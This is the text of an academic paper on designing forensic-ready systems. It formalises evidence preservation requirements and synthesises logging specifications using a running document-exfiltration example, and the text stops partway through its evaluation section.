44da0c245d7490438d0b77286203a860ac6f252b
On Evidence Preservation Requirements for Forensic-Ready Systems Conference or Workshop Item How to cite: Link(s) to article on publisher’s website: http://dx.doi.org/doi:10.1145/3106237.3106308 © 2017 ACM Version: Accepted Manuscript Copyright and Moral Rights for the articles on this site are retained by the individual authors and/or other copyright owners. For more information on Open Research Online’s data policy on reuse of materials please consult the policies page. On Evidence Preservation Requirements for Forensic-Ready Systems Dalal Alrajeh Imperial College London London, UK Liliana Pasquale University College Dublin Dublin, Ireland Bashar Nuseibeh The Open University, UK, & Lero, Ireland ABSTRACT Forensic readiness denotes the capability of a system to support digital forensic investigations of potential, known incidents by preserving in advance data that could serve as evidence explaining how an incident occurred. Given the increasing rate at which (potentially criminal) incidents occur, designing software systems that are forensic-ready can facilitate and reduce the costs of digital forensic investigations. However, to date, little or no attention has been given to how forensic-ready software systems can be designed systematically. In this paper we propose to explicitly represent evidence preservation requirements prescribing preservation of the minimal amount of data that would be relevant to a future digital investigation. We formalise evidence preservation requirements and propose an approach for synthesising specifications for systems to meet these requirements. We present our prototype implementation—based on a satisfiability solver and a logic-based learner—which we use to evaluate our approach, applying it to two digital forensic corpora. Our evaluation suggests that our approach preserves relevant data that could support hypotheses of potential incidents. Moreover, it enables significant reduction in the volume of data that would need to be examined during an investigation. CCS CONCEPTS • Software and its engineering → Requirements analysis; • Applied computing → Evidence collection, storage and analysis; KEYWORDS Forensic-ready systems, requirements, specification synthesis ACM Reference Format: 1 INTRODUCTION Digital forensic investigations are concerned with the discovery, collection, preservation, analysis, interpretation and presentation of digital data from digital sources, for proof of incident and ultimately for prosecution of criminal activity [16, 36]. Such data often comprises log entries indicating the occurrence of events in the digital sources placed within the environment in which an incident can occur. Despite the availability of digital forensics tools for evidence acquisition and examination (e.g., [2, 10, 14]), these tools are designed to be used only after an incident occurs and an investigation commences. However, some of the relevant data may not be available then because, for example, it was stored in a volatile memory or it has been intentionally tampered with by an offender. Moreover, digital forensic tools do not select among the data that might be relevant for investigating a specific incident, thus requiring investigators to sift through large volumes of data to determine what may be considered as relevant evidence. This can be a cumbersome and an error-prone process [29, 54]. Software systems should be forensic-ready [45], i.e., able to support digital forensic investigations of potential, known incidents by preserving in advance data that may serve as evidence explaining how an incident occurred. Given the increasing rate at which (potentially criminal) incidents occur, designing software systems that are forensic-ready can facilitate and reduce the costs of digital forensic investigations. However, existing research has provided only generic guidelines capturing operational and infrastructural capabilities for organisations to achieve forensic readiness [15, 42]. Little or no attention has been given to how forensic-ready systems can be designed and verified systematically, nor to how to ensure their suitability for the specific environments in which they will be deployed [51]. Without a formal conceptualisation of a forensic-ready system and a software design methodology for achieving it, ensuring the soundness of any automated investigative process or its outcome becomes difficult, or even impossible [43]. Forensic-ready systems should satisfy evidence preservation requirements, i.e. ensure preservation of relevant and minimal evidence. On the one hand, preservation of an excessive amount of data often introduces resource and performance issues [40], and increases the cognitive load on investigators who have to make sense of a large data-set. On the other hand, preservation of an insufficient amount of data provides an incomplete picture of how an incident would have occurred, thus making way for misguided decisions and potentially wrong convictions [12]. This paper addresses some of the challenges in the systematic design of forensic-ready systems by making the following contributions: (i) precise definition of evidence preservation requirements and the concepts upon which these requirements depend; (ii) a method for generating preservation specifications that satisfy evidence preservation requirements and (iii) a prototype tool for generating such specifications automatically, which we use to evaluate our approach. More specifically, we first provide formal definitions... of the domain model of a forensic-ready system including the environment in which incidents may occur and hypotheses about such incidents. We also formalise preservation specifications and requirements. We then present a synthesis approach that combines deductive reasoning and inductive learning to generate preservation specifications from a formal description of an environment and hypotheses. To the best of our knowledge this is the first work that conceptualises the requirements of evidence preservation and demonstrates its benefits in reducing data needed to be examined during an investigation. In this work, we assume a domain expert provides a set of correct incident hypotheses. To achieve this aim s/he can follow a proper risk assessment methodology (using approaches such as [9]) over the threats/incidents considered most likely and highly-critical. Specifications are expressed declaratively in Linear Temporal Logic (LTL) [39], a commonly used formalism for specifying a system behaviour, and prescribe constraints over when events happening at the digital sources in the environment must be logged. We also assume that a designated software controller, the forensic readiness controller, is responsible for the enactment of the specification by interacting with the digital sources through a uniform interface. We evaluate our approach by applying it to two substantive case studies publicly available. Our evaluation suggests that our approach preserves relevant data to explain potential incidents and enables significant reduction in the volume of data that would need to be examined during an investigation. The rest of the paper is organised as follows. Section 2 presents a motivating example and an overview of our approach. Sections 3 and 4 formalise the domain model of a forensic-ready system and preservation specifications and requirements. Sections 5 and 6 explain our approach to generate specifications and its implementation. Section 7 presents the results of our evaluation. Section 8 gives an overview of related work, and Section 9 concludes. ## 2 MOTIVATING EXAMPLE AND OVERVIEW We motivate our work using an example of a corporate fraud incident, inspired by the Galleon Group case [35]. We consider an environment (Fig. 1a) within an enterprise building, where two employees, bob and alice, work and are provided with laptops (m2 and m3, respectively) by the company. A sensitive document doc is stored on the server machine m1 located in the office r01. Access to r01 is controlled by an NFC reader (nfc) and is monitored by a CCTV camera (cctv). Both alice and bob are authorised to access r01 and to login to m1. Suppose that a digital investigation related to the exfiltration of the doc is initiated. An investigator may hypothesise that the doc was copied onto a storage device mounted on m1. To verify this, she must first speculate the activities that may have occurred within the environment and reconstruct different possible scenarios based on these activities. A possible scenario is that alice enters room r01, logs into m1, mounts usb1 on m1 and copies doc onto usb1. Another is that bob enters room r01 but logs into m1 using alice’s credentials, and then copies the doc onto usb1. Once the scenarios have been identified, the investigator must establish which of the digital devices holds data that might be relevant to the scenarios. Then she must search through the storage of these devices (e.g., logs for all readers and CCTVs, and hard drives for all computers) for relevant information. However, the investigator may fail to find information about storage devices mounted on m1 because the system log of m1 only retains information about the last device that was mounted. The large number of events that can occur also does not make it plausible to preserve all events in advance for later examination. For example, corporate computers can generate over 100 millions of events per week\(^1\), while the number of accesses recorded by CCTV cameras and card readers can exponentially grow with the number of employees and rooms in a building. Moreover, not all the events are relevant to support the speculated scenarios. For instance, only copies of the doc taking place while a storage device is mounted and a user is logged on m1 are relevant for our example. Our approach (Fig. 1b) aims to design a FR controller that receives events from digital sources within the environment and selectively preserves them in a secure storage. These events can be acquired and examined by an investigator during future digital investigations. We provide an automated approach (Specification Generation) to generate a preservation specification (PS) for the FR controller. We assume a domain expert (e.g., security administrator or software engineer) provides a description of the environment and a predefined set of hypotheses about incidents of concern. The description of the environment also includes information about what activities can be monitored by the digital sources. To generate a specification, we first check whether the hypotheses are feasible within the environment (i.e., they may hold if certain activities take place in the environment). If this is the case, the approach generates a set of possible sequences of low-level system events (called potential histories) that demonstrate this. The approach then verifies whether the existing specification already ensures the preservation of events that correspond to these generated histories. If not, then our approach inductively synthesises a preservation specification that configures when an event occurring in a digital source within \(^1\)We estimated having 50 Events Per Second (EPS) during non peaks and 2500 EPS during peaks. An organisation that experiences peaks for 5% of the total time will have an average of 215 EPS (125 EPS for non-peak and 90 for peak). the considered environment should be preserved, according to their relevance to the hypotheses. For our motivating example, our approach would prescribe preservation of events indicating copies of the doc only if a storage device was previously mounted and a user has previously logged on m1. In the next two sections we define the artefacts which constitute the domain of a forensic-ready system (environment, histories and hypotheses) and their relation to preservation specifications and requirements. 3 FORENSIC DOMAIN MODEL We provide here a formal underpinning of the concepts and terminology that are commonly used in digital forensic domain [11] to describe the environment in which an incident can occur, histories and the incident hypotheses. 3.1 Environment Description The environment description is a set of descriptive statements about: (i) the context in which an incident may occur, (ii) the behaviour that may be exhibited within the environment and (iii) their interactions. A context description C is a collection of descriptive (non-behavioural) declarations about the types (e.g., employees and locations), and instances of entities present in an environment (e.g., bob and r01), and relations between instances, such as bob is entitled to access r01 (havebadge(bob, r01)). Definition 3.1 (Context Description). A context description C is a tuple (Y, I, y, K) where Y is a set of types, I is a set of instances, y : I → Y is a function that assigns an instance in I to its type in Y, and K is a set of context relations over instances in I, such that for every k ∈ K, k ⊆ I1 × ... × In. We denote the universe of context relations as K. A context relation literal is an expression of the form k or ¬k for some k ∈ K. Given a set of context relation literals KL, we write α(KL) to denote the set of unique context relations in KL. Returning to our running example, a context description in this case includes types such as Emp and Comp, instances including bob and m1 with assignments y(bob) = Emp and y(m1) = Comp, and context relations such as isLocatedIn(m1, r01), meaning that computer m1 is placed in location r01, and isStoredIn(doc, m1), meaning that doc is stored in m1. A behavioural description B specifies the events that may occur within an environment. In a digital investigation setting, these may be at different levels of abstraction. Similar to [8, 11], we distinguish between two types of events to represent these levels of abstraction: primitive and complex. A primitive event represents the occurrence of an atomic action that can be observed by an investigator from a digital device (e.g., using a hard drive analysis tools). An example of primitive event can be swipe_card(alice,nfc) indicating the nfc reading alice’s card tag. A complex event indicates the execution of complex human activities and can involve one or more primitive events, other complex events and contextual conditions. For example, a complex event indicating alice entering room r01 involves the following primitive events: alice’s card tag being read by the nfc reader and her entrance in r01 being recorded by the cctv. These events can happen at the same time or in any order. The complex event also involves the following contextual conditions: alice is not inside r01 and does not possess a badge to access r01. This is expressed through a composite definition. Definition 3.2 (Composite Definition). Let AP and AC be the universe of primitive and complex events respectively. A composite definition is a tuple (AP, AC, KL, L, ≤, λ) where AP ⊆ AP, AC ⊆ AC, a(KL) ⊆ K, L is a finite set of time-labels, ≤L is a partial order relation over L (that is reflexive, anti-symmetric and transitive) and λ : L → (AP × AC × KL) is a labelling function. Let D be a set of composite definitions. We define a relation δ ∈ AC × D to associate a composite definition δ ∈ D with the complex event e ∈ AC it defines. In our example, the complex event enter(alice, r01) may be defined as enter(alice, r01) ≪ {swipe_card(alice, nfc), cctv_access(alice, r01, cctv1)}, 0, ¬ in(alice, r01), hasBadge(alice, r01), [l1, l2] → [swipe_card(alice, nfc), ¬ in(alice, r01), hasBadge(alice, r01)], l2 → [cctv_access(alice, r01, cctv1), ¬ in(alice, r01))} For our example, to trigger complex event enter(alice, r01), primitive events swipe_card(alice, nfc) and cctv_access(alice, r01, cctv1) can occur in any order; however, both have to occur. When swipe_card(alice, nfc) and cctv_access(alice, r01, cctv1) occur alice should not be in r01. Moreover alice should be authorised to access r01 (hasBadge) when swipe_card(alice, nfc) occurs. Moreover, complex event mount(usb1, m1) event occurs when the system log in m1 records the mounting of a storage device (primitive event sys_mount(usb1, m1)) while alice or bob are logged to m1 (context condition logged(e, m1)). A behavioural description includes the composite definitions associated with the complex events that can occur in the environment. A behavioural description is formally defined as follows. Definition 3.3 (Behavioural Description). A behavioural description B is a tuple (AP, AC, K, D, δ) such that for every e ∈ AC, e ∈ AC, d = (I d, ≤d, λd, AP d, AC d, KL d) ∈ D, AP d ⊆ AP, AC d ⊆ AC and (KL d) ⊆ K. Complex events are expected to interact and bring about changes to the context in which they occur. To capture this effect, we adopt notions of fluents for event-driven systems [22, 31]. Given the set K of context relations, each k ∈ K is defined by two disjoint sets of complex events from AC (called initiating and terminating events, respectively) and an initial value (true or false), written according to the following schema: k ≡ (IN k, TR k, in(k)) such that IN k ∩ TR k = ∅ and IN k ∪ TR k ⊆ AC. The set of associations of this form are called interaction definitions, and are denoted I. In our running example the interaction definition of context relation in(alice, r01) is defined by ⟨enter(alice, r01)⟩, ⟨exit(alice, r01)⟩, false). This interaction indicates that context relation in(alice, r01) is initially false; it is initiated by complex event enter(alice, r01) and terminated by complex event exit(alice, r01). From C, B and I we define an environment description. Definition 3.4 (Environment Description). An environment description E is a tuple (C, B, I) where C = (Y, I, y, K) is a context description, B = (AP, AC, K, D, δ) a behavioural description and I is a set of context relation definitions such that k ∈ K and IN k ∪ TR k ⊆ AC. 3.2 Histories A history is a sequence of (concurrent) events that captures the evolution of an environment in which the digital devices and evidence sources operate [11]. It is potential if it refers to at least one event that has been speculated and actual if all the events have been observed from digital sources within the environment. In this paper, we focus on potential histories for defining preservation requirements. A history may describe events at various levels. It is called a primitive (resp. complex) history, denoted σ (resp. ω), if all the events that appear in it are primitive (resp. complex). We write ω = ce₁,...,ceₙ to denote a complex history where ceᵢ is the set of complex events occurring concurrently at position i, and similarly for a primitive history σ. An environment description E is interpreted over a sequence of primitive and complex events (referred to as a hybrid history v). Its satisfaction is determined with respect to the satisfaction of complex events’ composite definitions in B w.r.t. to I. For the satisfaction of an event’s composite definition, we consider the notion of a ‘narration’ (a total order over the partial order given in a complex event’s definition). For a narration to be constructed, each complex event appearing in a definition is refined until all complex events are reduced to their primitive events and context relation literals. The result of this refinement procedure applied to definition d is a set of composite definitions δ(d). ² Given δ(d), a narration of d is captured with respect to one of the elements in δ(d). We will use the notation v|∆’ to denote the projection of v over primitive (resp. complex) events in ∆’ (resp. A’). Definition 3.5 (Narration of Composite Definition). Let B = ⟨A’, A’’, K, D, σ⟩ be a environmental description and d = ⟨I’, l’, λ’, δ’, l’’⟩ a composite definition in D. Let δ(d) be the set of definitions obtained refining d. A narration of d is a hybrid history σ = he₁,…,heₘ, if there exists a δ’ ∈ δ(d) and a total order l₁ < ... < lₙ over l’ such that: - for all lᵢ, lⱼ ∈ l’, if lᵢ < lⱼ then a < b (where 1 ≤ a, b ≤ m), - λ’(lᵢ)A’’ = (heₐ)A’’ - λ’(l₁)A’’ = (he₁)A’’ where λ’(l₁)A’’ and λ’(lₙ)A’’ denote the set of primitive events and complex events respectively assigned to time-label l. For instance the following are three example narrations for enter(alice, r01)’s composite definition: v₁ = {⟨swipe_card(alice, nfc), cctv_access(alice, r01, cctv1), enter(alice, r01)⟩₁} v₂ = {⟨swipe_card(alice, nfc)⟩₁, ⟨cctv_access(alice, r01, cctv1), enter(alice, r01)⟩₂} v₃ = {⟨cctv_access(alice, r01, cctv1)⟩₁, ⟨swipe_card(alice, nfc), enter(alice, r01)⟩₁} Interaction descriptions are interpreted over complex histories. Given k ≡ ⟨Nk, TRk, initk⟩ ∈ I, k is true at position b in a complex history ω = ce₁,...,ceₙ iff either the following holds: - initk ∧ ∀a ∈ N, eTRk ∈ TRk.(0 < a < b) → eTRk /∈ ceₐ; 3.3 Hypotheses The term hypothesis in a digital investigation is a conjecture that may refer, for instance, to past events in the lifetime of digital devices [52]. In this paper, we focus on one type of hypothesis relevant to developing forensic-ready systems, the environment construction hypothesis. This form of hypothesis postulates about the feasibility of events occurrence and presence of contextual conditions of interests within the environment. It may be captured as an event’s composite definition \( h \land d \), where \( h \) is a complex event marking the satisfaction of a hypothesis, and with \( AP \) in \( d \) being empty and \( AP \) and \( KL \) containing only complex events and context relation literals respectively. The events and the contextual conditions expressed in the hypothesis represent how an incident may occur within the environment. The incident of our example refers to the unauthorised exfiltration of the sensitive document \( doc \). One way in which the \( doc \) can exfiltrate is because an unauthorised copy to an external storage device was performed. This hypothesis is defined as \[ \text{IllegalCopy} \triangleq (h, \{\text{copy}(bob, doc, m1)\}, \{t1\}, b, t1 \rightarrow \{\text{mounted}(usb1, m1)\} ) \] In other words, a copy of the document is performed while an external storage device (usb1) is mounted on \( m1 \). Hypotheses are interpreted over finite complex histories. Their satisfaction is given by the definition below. Definition 3.7 (Hypotheses Satisfaction). A hypothesis \( h \) (with definition \( h \land d \)) is said to be satisfied in a complex history \( \alpha \) at position \( b \), i.e., \( \alpha, b \models h \), if there exists a decomposition \( \alpha = xyz \) such that \( y = c_e, \ldots, c_{e_k} \) is a narration of \( d \) with respect to \( d' = \delta(d) \) and order \( l_1' < \ldots < l_j' < \ldots < l_n' \) and if \( kl \in \lambda_{d'}(l_j')_{k1} \) then \( v_{j' \rightarrow e} \models kl \). We distinguish between supportable and refutable hypotheses in environment \( E \). Definition 3.8 (Hypotheses Supportability and Refutability). Let \( Y(E) \) be the set of hybrid histories satisfying \( E \). A hypothesis \( h \) (with definition \( h \land d \)) is said to be supportable in \( E \) if there exists a history \( v \in Y(E) \) such that for some \( b, v_{j' \rightarrow e} \models h \). It is said to be refutable if there exists a history \( v \in Y(E) \) such that for all \( b, v_{j' \rightarrow e} \not\models h \). We sometime abstract away from the position \( b \) and write \( v_{j' \rightarrow e} \models h \) for a history satisfying \( h \) at some point \( b \). We will denote the set of hybrid histories in \( Y(E) \) supporting at least one hypothesis in \( H \) as \( Y^+(E) \) and those refuting every hypothesis in \( H \) as \( Y^-(E) \). Returning to our example, the IllegalCopy hypothesis is supportable in our example environment \( E \) since there exists a decomposition of a hybrid history (see Figure 2) satisfying \( E \), that yields a narration of the definition of the IllegalCopy hypothesis, i.e., \[ x = \{\text{swipe_card}(alice, n3f1)\}, \{\text{cctv_access}(alice, r01, cctv1), enter(alice, r01)\}, \{\text{sys_login}(bob, m1), login(bob, m1)\}, \{\text{sys_mount}(usb1, m1), mount(usb1, m1)\}, \{\text{sys_copy}(bob, doc, cctv1), copy(bob, doc, cctv1)\}, \} \] such that \( v_{j' \rightarrow e} \models \{\text{mounted}(usb1, m1)\} \). As we will see later in Section 4, we are interested in minimal hybrid histories that satisfy a hypothesis. We define minimality of histories with respect to hypotheses as follows. Definition 3.9. [Minimally Supportive Histories] Let \( Y(E) \) be a set of hybrid histories satisfying \( E \) and \( h \) be a hypothesis supportable by \( E \). The hybrid history \( v = h e_1, \ldots, h e_m \in Y^+(E) \) is said to be minimally supportive of \( h \) in \( E \) if the history \( v' \) obtained by removing any primitive event \( a \in AP \) from \( \{he_i\}_{i=1}^m \) of \( v \) is in \( Y(E) \) and no longer supports \( h \). For instance, the hybrid history in Figure 2 is not minimally supportive of the hypothesis IllegalCopy since the history obtained by removing \( \text{sys_unmount}(usb1, m1) \) from \( v_{j' \rightarrow e} \) still satisfies IllegalCopy. We sometimes write \( \text{min}(h) \) (resp. \( \text{min}(E, h) \)) as a shorthand for the minimally supportive history \( v' \) (resp. histories) of \( h \) obtained from \( v \). 4 PRESERVATION SPECIFICATIONS We are concerned with deriving specifications \( PS \) for a forensic readiness controller comprising domain pre- and post-conditions as well as required pre- and trigger-conditions, expressed in LTL. These conditions control the execution of operations of the form \(\text{preserve}(a, ts)\) — where \(a\) indicates the occurrence of a primitive event in the environment, and \(ts\) marks the time-stamp (from the system clock) at which the occurrence was observed by the FR controller. We consider \(ts\) to be an abstraction over real-time clock variables that may be obtained following techniques such as [13, 28]. The generation of such abstractions is outside the scope of the paper. We assume an ordered set of timestamps to be isomorphic to the set of natural numbers. The domain pre-condition of operation \(\text{preserve}(a, ts)\) specifies that this operation cannot take place if the occurrence of event \(a\) at \(ts\) has already been preserved. The domain post-condition specifies that operation \(\text{preserve}(a, ts)\) ensures preservation of the occurrence of event \(a\) at \(ts\) in the next time instant. We assume these as given for each operation. We Assertions 1 and 2 specify, respectively, the domain pre- and post-conditions of operation \(\text{preserve}(\text{sys_copy}(e, d, m), ts)\) \[ \begin{align} \text{Vts} : \text{Timestamp}, e : \text{Emp}, d : \text{Doc}, m : \text{Comp} & \quad G(\text{preserved}(\text{sys_copy}(e, d, m), ts)) \rightarrow \\ & \quad \neg G(\text{preserve}(\text{sys_copy}(e, d, m), ts)) \quad (1) \end{align} \] \[ \begin{align} \text{Vts} : \text{Timestamp}, e : \text{Emp}, d : \text{Doc}, m : \text{Comp} & \quad G(\neg \text{received}(\text{sys_copy}(e, d, m), ts)) \rightarrow \\ & \quad X \neg G(\text{preserved}(\text{sys_copy}(e, d, m), ts)) \quad (2) \end{align} \] Required pre-conditions are assertions that condition the execution of \(\text{preserve}(a, ts)\) upon having received notification about the occurrence of a primitive event in the environment, \(\text{receive}(a, ts)\). Required trigger-conditions are conditions upon the (non)preservation of other primitive events. An example of a preservation specification of operation \(\text{preserve}(\text{sys_copy}(e, d, m), ts)\) is \[ \begin{align} \text{Vts} : \text{Timestamp}, e : \text{Emp}, d : \text{Doc}, m : \text{Comp} & \quad G(\neg \text{received}(\text{sys_copy}(e, d, m), ts)) \rightarrow \\ & \quad X \neg \text{preserved}(\text{sys_copy}(e, d, m), ts) \quad (3) \end{align} \] \[ \begin{align} \text{Vts} : \text{Timestamp}, e : \text{Emp}, d : \text{Doc}, m : \text{Comp} & \quad \exists ts_1, ts_2 : \text{Timestamp}, ts_1 < ts_2 \land ts_2 < ts & \\ & \quad G(\text{received}(\text{sys_copy}(e, d, m), ts) \land \\ & \quad \text{preserved}(\text{sys_login}(e, d, m), ts_1) \land \text{preserved}(\text{sys_mount}(e, s), ts_2) \land \\ & \quad \text{preserved}(\text{sys_logout}(e, m), ts_1) \land \text{preserved}(\text{sys_unmount}(e, m), ts_2) \land \\ & \quad \text{preserved}(\text{sys_copy}(e, d, m), ts_1)) \rightarrow \\ & \quad X \text{preserved}(\text{sys_copy}(e, d, m), ts) \quad (4) \end{align} \] Assertion 3 specifies the required pre-condition, i.e., receiving notification of the occurrence of \(\text{sys_copy}(e,d,m)\). Assertion 4 expresses a trigger-condition forcing the FR controller to preserve occurrence of $\text{sys} \_\text{copy}(c, d, m)$ if it has already preserved information about an employee’s logging onto a computer and the mounting of a storage device on that computer, but no subsequent occurrence about the employee logging out or unmounting of the storage device is recorded. The preservation specification $PS$ defines a FR controller’s storage capacities as a set of executable sequences of preserve operations of the form $$\pi = \{\text{preserve}(a^i_1, t_1), ..., \text{preserve}(a^i_j, t_j)\}, ..., \{\text{preserve}(a^m_1, t_m), ..., \text{preserve}(a^m_n, t_m)\}_m$$ We say that $\pi$ is a potential log if $\pi$ satisfies $PS$ (according to standard trace semantics of LTL) and for each $\text{preserve}(a^i_j, t_j) \in \pi(j)$, its required trigger-condition is non-vacuously satisfied in $\pi$ at position $j$. The notation $\pi(j)$ indicates the set of operations that occur at position $j$. We restrict our definition of preservation specifications to those that ensure the minimality and relevance of all potential logs to hypotheses under consideration. Such a specification is referred to as forensic-ready. To express forensic-ready preservation specifications, we first consider the notion of a specification covering potential histories. **Definition 4.1. [Specification Coverage]** Let $PS$ be a preservation specification and $v = (h_1, ..., h_n)$ a hybrid history. Then $PS$ is said to cover $v$, if there exists a potential log $\pi = (f_1, ..., f_n) \in \Pi(PS)$ isomorphic to $v|_{PS}$, i.e., for every primitive event $a \in (h_k)|_{PS}$, $\text{preserve}(a, t)$ $f_i \in \pi$. The isomorphism with respect to potential histories guarantees the preservation of events related to an incident. Furthermore, since the isomorphism is defined with respect to minimally supportive histories of hypotheses in $H$ this ensures minimality of preserved event occurrences. It also, together with the requirement for hypotheses $H$ to be refutable by potential histories of $E$, $\text{PS}^- (E)$, supports relevance of events stored through preserve operations. **Definition 4.2. [Forensic-ready Specification]** Let $E$ be an environment description and $H$ a hypothesis that is both supportable and refutable in $E$ by $\text{PS}^+ (E)$ and $\text{PS}^- (E)$ respectively. Let $PS$ be a preservation specification. Then $PS$ is said to be forensic-ready with respect to $H$ in $E$ if $PS$ covers every history in $\min(\text{PS}^+ (E), h)$ for every $h \in H$ and does not cover any $\text{PS}^- (E)$. Any FR controller whose specification is forensic-ready with respect to $H$ in $E$ is sufficient to guarantee evidence preservation requirements of relevance and minimality. ### 5 SPECIFICATION GENERATION Based on our formulation above, we propose a systematic approach (Figure 3) for generating forensic-ready preservation specifications. Our approach takes as input an environment description $E$, a set of speculative incident hypotheses $H$, elicited, for instance, by a domain expert, and an initial preservation specification $PS$, written in LTL, which contains domain pre- and post-conditions of preservation operations. We assume that the description of the environment is correct and the speculative hypotheses of concern are known at design-time. The approach provides as output either: (i) a confirmation that (some) hypotheses are not supportable in the environment; (ii) a confirmation that the FR controller does not have the capabilities to ensure the forensic-readiness of its preservation specification; or (iii) a preservation specification that is guaranteed to be forensic-ready with respect to $H$ in $E$. The approach comprises three phases as described below. **Figure 3: Specification generation approach.** 1) **History Generation.** In this phase, we search for hybrid histories $\text{PS}^+ (E)$ and $\text{PS}^- (E)$ that minimally support and that refute $H$, respectively. The existence of histories in $\text{PS}^+ (E)$ ensures that the hypotheses of interest are feasible within the intended environment. If $\text{PS}^+ (E)$ is empty, this means that either the hypothesis cannot occur within the environment described, and thus it will not require to be considered during a digital investigation, or that the environment description and/or the speculative hypotheses are incorrect and need revision. The histories $\text{PS}^- (E)$ operate as a proxy for the synthesis phase to ensure only relevant event occurrences are preserved. 2) **Specification Verification.** Given the generated $\text{PS}^+ (E)$, we check if each history is potentially covered by the preservation specification, i.e., there exists a corresponding potential log in $\Pi(PS)$. If some history in $\text{PS}^+ (E)$ is not, then this may be owing to one of two cases: (i) the FR controller and the digital devices do not have the capabilities needed to, respectively, preserve the potential logs and monitor the relevant events; or (ii) they do but require an operational preservation specification to be synthesised to ensure their preservation. In the case of the former, the approach terminates, indicating a need for additional capabilities. In the latter case, corresponding potential logs $\{\pi^+_1\}$ and $\{\pi^-_1\}$ are produced and passed onto the third phase. 3) **Specification Synthesis.** The synthesis phase considers $E$, $H$, $PS$, $\{\pi^+_1\}$ and $\{\pi^-_1\}$. It searches, within a space of candidate expressions restricted to safety LTL expressions, a new set of required pre- and trigger-conditions that would prescribe the preservation of all potential logs $\{\pi^+_1\}$ but not in $\{\pi^-_1\}$. These are added to $PS$. The new specification $PS'$ is given as provided to the FR controller that is responsible for its enactment. Note the steps above are conducted for a set of given hypotheses. If new ones are provided, then a new specification must be generated. ### 6 TOOL IMPLEMENTATION As a proof of concept, we have implemented a prototype tool\footnote{The source code of the tool is publicly available at https://github.com/lpasquale/KEEPER/tree/KEEPER_CLI} for synthesising forensic-ready preservation specifications. Our solution uses a (i) declarative language based on the Event Calculus (EC) logic program [31] to represent and reason about the environment descriptions, speculative hypotheses, preservation specifications and potential histories and logs in a uniform way, (ii) an off-the-shelf Boolean constraint solver for logic programs, called clingo [20], to compute potential histories and logs that satisfy or refute hypotheses, and (iii) a logic-based learner, called XHAIL [41], to synthesise preservation specifications that cover all histories supportive of a hypothesis. Our choice of EC logic program as a language is due to its successful deployment in the context of requirements operationalisation [4, 5] and reasoning about evidence in digital investigations [56]. The encoding of the input as well as the execution of the three phases in Section 5 are done automatically. The user is expected to provide the initial input, and the maximum length of the potential histories to be considered in the approach. Our use of the solver as the underlying history generation and specification verification engine is motivated by its capacity to handle difficult (NP-hard) search problems for EC programs. For encoding of preservation specifications, we follow the translation in [5]. Details of the encoding for the environment description and hypotheses are available at https://github.com/lpasquale/KEEPER/tree/keeper_CLI/RunningExample. Although the approach is demonstrated for a particular language, the principles behind it could be applied to other formalisms and solvers. In brief, the history generation phase first tries to find two sets of models of the program \( L_E \cup L_H \). Each element in the first set is a model of \( L_E \cup L_H \) that comprises a history \( L_{υ−} \) of maximum length \( n \) that is minimally supportive of a hypothesis in \( \mathcal{H} \). Each element in the second set contains a history \( L_{υ+} \) of length \( n \) that refutes all hypotheses in \( \mathcal{H} \). This is done by solving a constraint that requires a hypothesis \( L_H \in L_H \) to be satisfied by at least one potential history consistent with \( L_E \cup L_H \). The solver searches for the optimal solution being defined as the fewest event occurrence in a history which equates to the minimally supportive history of \( h \). We denote the set of minimally supportive histories as \( L_{Y−}(E) \) and the minimally refuting histories as \( L_{Y+}(E) \). The specification verification phase considers the histories \( L_{Y−}(E) \) and \( L_{Y+}(E) \), program \( L_E \cup L_H \) and program \( L_{PS} \). This phase performs several calls to the solver to check for consistency of each history \( L_{Y−}(E) \) and \( L_{Y+}(E) \) respectively with the specification \( L_{PS} \) (phase 2). The solver searches for models that satisfy the program \( L_E \cup L_H \) and \( L_{PS} \) (for each \( L_E \in L_{Y+}(E) \cup L_{Y−}(E) \)) and a constraint requiring there to be an isomorphic potential log \( L_{υ−} \) in the model. If a potential log for a supportive history cannot be found, then the program is unsatisfiable. In this case the approach outputs those potential histories to the user for further consideration (e.g., amending the FR controller’s capabilities). Otherwise all computed potential logs \( L_{Y−}(PS) \) and \( L_{Y+}(PS) \) that correspond to histories in \( L_{Y−}(E) \cup L_{Y+}(E) \) respectively and the program \( L_E \cup L_{PS} \) is passed to a logic-based learner. The aim of the learner is to search through a candidate space (given by a language bias as in [5]) to compute required pre-conditions \( L_{ReqPre} \) and required trigger-conditions \( L_{ReqTrig} \) such that \( L_E \cup L_{PS} \models L_{Y−}(PS) \) where \( \models \) is an entailment operator defined with respect to stable model semantics [21], whilst ensuring that \( L_E \cup L_{PS} \models L_{υ−} \) for any \( L_{υ−} \in L_{Y−}(PS) \). The programs \( L_{ReqPre} \cup L_{ReqTrig} \) are then translated back to LTL following the method described in [5]. 7 EVALUATION Our evaluation aims to assess whether the synthesised preservation specification prescribes to preserve i) relevant events and ii) the minimal amount of events necessary to support speculative hypotheses of potential incidents. To achieve this aim, we apply our prototype tool to two case studies publicly available for research and training purposes. Each case study comprises data that would normally be available to an investigator for examination (when a FR controller is not implemented). The investigator can use this data to explain, if possible, how a particular incident occurred. For each incident, we manually modelled the environment and the speculative hypotheses in EC. From this, we used our tool to generate preservation specifications automatically. The EC models of the case studies and the generated specifications are available online. We compare the events that the generated specification prescribes to preserve with those that would be available to an investigator when the system that does not satisfy evidence preservation requirements, i.e. the information available to an investigator is represented by the data-sets provided with the case studies. To assess relevance, we verify whether our specification prescribes to preserve events that were relevant to satisfy the speculative hypotheses. We also check if occurrence of those events can be inferred from the available data-set. To assess minimality we verify that our approach prescribes preserving fewer events. In particular, we compare the number of events that our approach prescribes to preserve with those that can be inferred from the data-set. We also measure the number of events, whose occurrence can be inferred from the data-set, which were irrelevant to support the satisfaction of the hypotheses. 7.1 Relevance and Minimality The first incident scenario we considered is set in a university, where students and academic staff can send emails by using the university and students’ residence internal network. The model of the environment includes different agents who can be academics or students, and can teach or attend courses, respectively. It also includes locations, such as university and students residences, routers (each of them placed in a location), emails and their corresponding sender/recipient email and IP addresses. We also model whether an email address is a university address for staff and students or it is an external address. The primitive events we model cover events whose occurrence can be inferred from the data-set. This includes the TCP packets captured from the routers located inside the students’ residence. Therefore, we consider the routers as digital sources within the environment and use primitive events to represent network data streams. We model the following primitive events: IMAP/POP network traffic (we indicate primitive events related to emails sent from external addresses to an academic as SUE); incoming HTTP traffic (we indicate HTTP messages used to set-up a cookie as SICE); general outgoing HTTP traffic (EM) and specific outgoing HTTP traffic towards anonymous email services (SHE). Some of the complex events we model include: (i) emails received by a specific email address (ii) cookie setting from an external address to an IP; (iii)... --- 1. 